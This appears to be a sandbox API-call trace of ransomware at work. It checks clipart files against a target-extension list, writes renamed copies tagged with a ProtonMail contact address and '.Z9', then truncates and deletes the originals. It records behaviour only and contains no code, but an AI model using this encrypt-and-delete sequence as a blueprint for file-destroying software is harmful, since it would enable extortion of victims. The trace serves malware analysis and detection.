	[0084.540] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.540] lstrlenW (lpString=".xlsx") returned 5
	[0084.540] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.540] lstrlenW (lpString=".ppt") returned 4
	[0084.540] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.540] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0084.541] lstrlenW (lpString=".zip") returned 4
	[0084.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.541] lstrlenW (lpString=".rar") returned 4
	[0084.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.541] lstrlenW (lpString=".bz2") returned 4
	[0084.541] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.541] lstrlenW (lpString=".7z") returned 3
	[0084.541] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0084.541] lstrlenW (lpString=".dbf") returned 4
	[0084.541] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0084.541] lstrlenW (lpString=".1cd") returned 4
	[0084.541] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0084.541] lstrlenW (lpString=".jpg") returned 4
	[0084.541] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0084.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0084.541] lstrlenW (lpString=".doc") returned 4
	[0084.541] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.541] lstrlenW (lpString=".docx") returned 5
	[0084.541] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.541] lstrlenW (lpString=".pdf") returned 4
	[0084.541] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.541] lstrlenW (lpString=".xls") returned 4
	[0084.541] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.541] lstrlenW (lpString=".xlsx") returned 5
	[0084.541] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.541] lstrlenW (lpString=".ppt") returned 4
	[0084.541] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0084.541] lstrlenW (lpString=".zip") returned 4
	[0084.541] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.541] lstrlenW (lpString=".rar") returned 4
	[0084.541] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.542] lstrlenW (lpString=".bz2") returned 4
	[0084.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.542] lstrlenW (lpString=".7z") returned 3
	[0084.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0084.542] lstrlenW (lpString=".dbf") returned 4
	[0084.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0084.542] lstrlenW (lpString=".1cd") returned 4
	[0084.542] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09031_.WMF") returned 68
	[0084.542] lstrlenW (lpString=".jpg") returned 4
	[0084.542] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.542] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.542] lstrlenW (lpString="BD09194_.WMF") returned 12
	[0084.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.543] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=14540) returned 1
	[0084.543] CloseHandle (hObject=0x398) returned 1
	[0084.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220
	[0084.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0084.543] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.543] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0084.544] GetLastError () returned 0x0
	[0084.544] ReadFile (in: hFile=0x398, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x38cc, lpOverlapped=0x0) returned 1
	[0084.545] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x38d0, lpOverlapped=0x0) returned 1
	[0084.547] ReadFile (in: hFile=0x398, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.547] WriteFile (in: hFile=0x338, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.547] SetEndOfFile (hFile=0x338) returned 1
	[0084.547] CloseHandle (hObject=0x338) returned 1
	[0084.549] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.549] SetEndOfFile (hFile=0x398) returned 1
	[0084.550] CloseHandle (hObject=0x398) returned 1
	[0084.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1
	[0084.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0084.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0084.551] lstrlenW (lpString=".doc") returned 4
	[0084.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.551] lstrlenW (lpString=".docx") returned 5
	[0084.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.551] lstrlenW (lpString=".pdf") returned 4
	[0084.551] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.551] lstrlenW (lpString=".xls") returned 4
	[0084.551] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.551] lstrlenW (lpString=".xlsx") returned 5
	[0084.551] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.551] lstrlenW (lpString=".ppt") returned 4
	[0084.551] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0084.551] lstrlenW (lpString=".zip") returned 4
	[0084.551] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.551] lstrlenW (lpString=".rar") returned 4
	[0084.551] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.551] lstrlenW (lpString=".bz2") returned 4
	[0084.551] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.551] lstrlenW (lpString=".7z") returned 3
	[0084.551] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0084.552] lstrlenW (lpString=".dbf") returned 4
	[0084.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0084.552] lstrlenW (lpString=".1cd") returned 4
	[0084.552] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0084.552] lstrlenW (lpString=".jpg") returned 4
	[0084.552] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0084.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0084.552] lstrlenW (lpString=".doc") returned 4
	[0084.552] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.552] lstrlenW (lpString=".docx") returned 5
	[0084.552] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.552] lstrlenW (lpString=".pdf") returned 4
	[0084.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.552] lstrlenW (lpString=".xls") returned 4
	[0084.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.552] lstrlenW (lpString=".xlsx") returned 5
	[0084.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.552] lstrlenW (lpString=".ppt") returned 4
	[0084.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0084.552] lstrlenW (lpString=".zip") returned 4
	[0084.552] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.552] lstrlenW (lpString=".rar") returned 4
	[0084.552] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.552] lstrlenW (lpString=".bz2") returned 4
	[0084.552] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.552] lstrlenW (lpString=".7z") returned 3
	[0084.552] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.552] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0084.552] lstrlenW (lpString=".dbf") returned 4
	[0084.552] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0084.810] lstrlenW (lpString=".1cd") returned 4
	[0084.811] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0084.811] lstrlenW (lpString=".jpg") returned 4
	[0084.811] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.829] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.829] lstrlenW (lpString="BD20013_.WMF") returned 12
	[0084.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.834] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11058) returned 1
	[0084.835] CloseHandle (hObject=0x324) returned 1
	[0084.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 0x220
	[0084.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.835] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.835] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0084.836] GetLastError () returned 0x0
	[0084.836] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x2b32, lpOverlapped=0x0) returned 1
	[0084.838] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2b40, lpOverlapped=0x0) returned 1
	[0084.839] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.839] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.839] SetEndOfFile (hFile=0x300) returned 1
	[0084.839] CloseHandle (hObject=0x300) returned 1
	[0084.840] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.840] SetEndOfFile (hFile=0x324) returned 1
	[0084.841] CloseHandle (hObject=0x324) returned 1
	[0084.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.841] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd20013_.wmf")) returned 1
	[0084.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0084.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0084.841] lstrlenW (lpString=".doc") returned 4
	[0084.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.842] lstrlenW (lpString=".docx") returned 5
	[0084.842] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.842] lstrlenW (lpString=".pdf") returned 4
	[0084.842] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.842] lstrlenW (lpString=".xls") returned 4
	[0084.842] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.842] lstrlenW (lpString=".xlsx") returned 5
	[0084.842] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.842] lstrlenW (lpString=".ppt") returned 4
	[0084.842] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0084.842] lstrlenW (lpString=".zip") returned 4
	[0084.842] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.842] lstrlenW (lpString=".rar") returned 4
	[0084.842] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.842] lstrlenW (lpString=".bz2") returned 4
	[0084.842] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.842] lstrlenW (lpString=".7z") returned 3
	[0084.842] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0084.842] lstrlenW (lpString=".dbf") returned 4
	[0084.842] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0084.842] lstrlenW (lpString=".1cd") returned 4
	[0084.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0084.842] lstrlenW (lpString=".jpg") returned 4
	[0084.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0084.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0084.842] lstrlenW (lpString=".doc") returned 4
	[0084.842] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.843] lstrlenW (lpString=".docx") returned 5
	[0084.843] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.843] lstrlenW (lpString=".pdf") returned 4
	[0084.843] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.843] lstrlenW (lpString=".xls") returned 4
	[0084.843] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.843] lstrlenW (lpString=".xlsx") returned 5
	[0084.843] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.843] lstrlenW (lpString=".ppt") returned 4
	[0084.843] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0084.843] lstrlenW (lpString=".zip") returned 4
	[0084.843] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.843] lstrlenW (lpString=".rar") returned 4
	[0084.843] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.843] lstrlenW (lpString=".bz2") returned 4
	[0084.843] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.843] lstrlenW (lpString=".7z") returned 3
	[0084.843] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0084.843] lstrlenW (lpString=".dbf") returned 4
	[0084.843] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0084.843] lstrlenW (lpString=".1cd") returned 4
	[0084.843] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD20013_.WMF") returned 68
	[0084.843] lstrlenW (lpString=".jpg") returned 4
	[0084.843] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.843] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0084.843] lstrlenW (lpString="BL00008_.WMF") returned 12
	[0084.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.844] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=12520) returned 1
	[0084.844] CloseHandle (hObject=0x324) returned 1
	[0084.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220
	[0084.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0084.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0084.844] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.844] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.844] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0084.845] GetLastError () returned 0x0
	[0084.845] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x30e8, lpOverlapped=0x0) returned 1
	[0084.847] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x30f0, lpOverlapped=0x0) returned 1
	[0084.848] ReadFile (in: hFile=0x324, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.848] WriteFile (in: hFile=0x300, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.848] SetEndOfFile (hFile=0x300) returned 1
	[0084.848] CloseHandle (hObject=0x300) returned 1
	[0084.849] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.849] SetEndOfFile (hFile=0x324) returned 1
	[0084.850] CloseHandle (hObject=0x324) returned 1
	[0084.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0084.851] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1
	[0084.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0084.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68
	[0084.851] lstrlenW (lpString=".doc") returned 4
	[0084.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.851] lstrlenW (lpString=".docx") returned 5
	[0084.851] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.851] lstrlenW (lpString=".pdf") returned 4
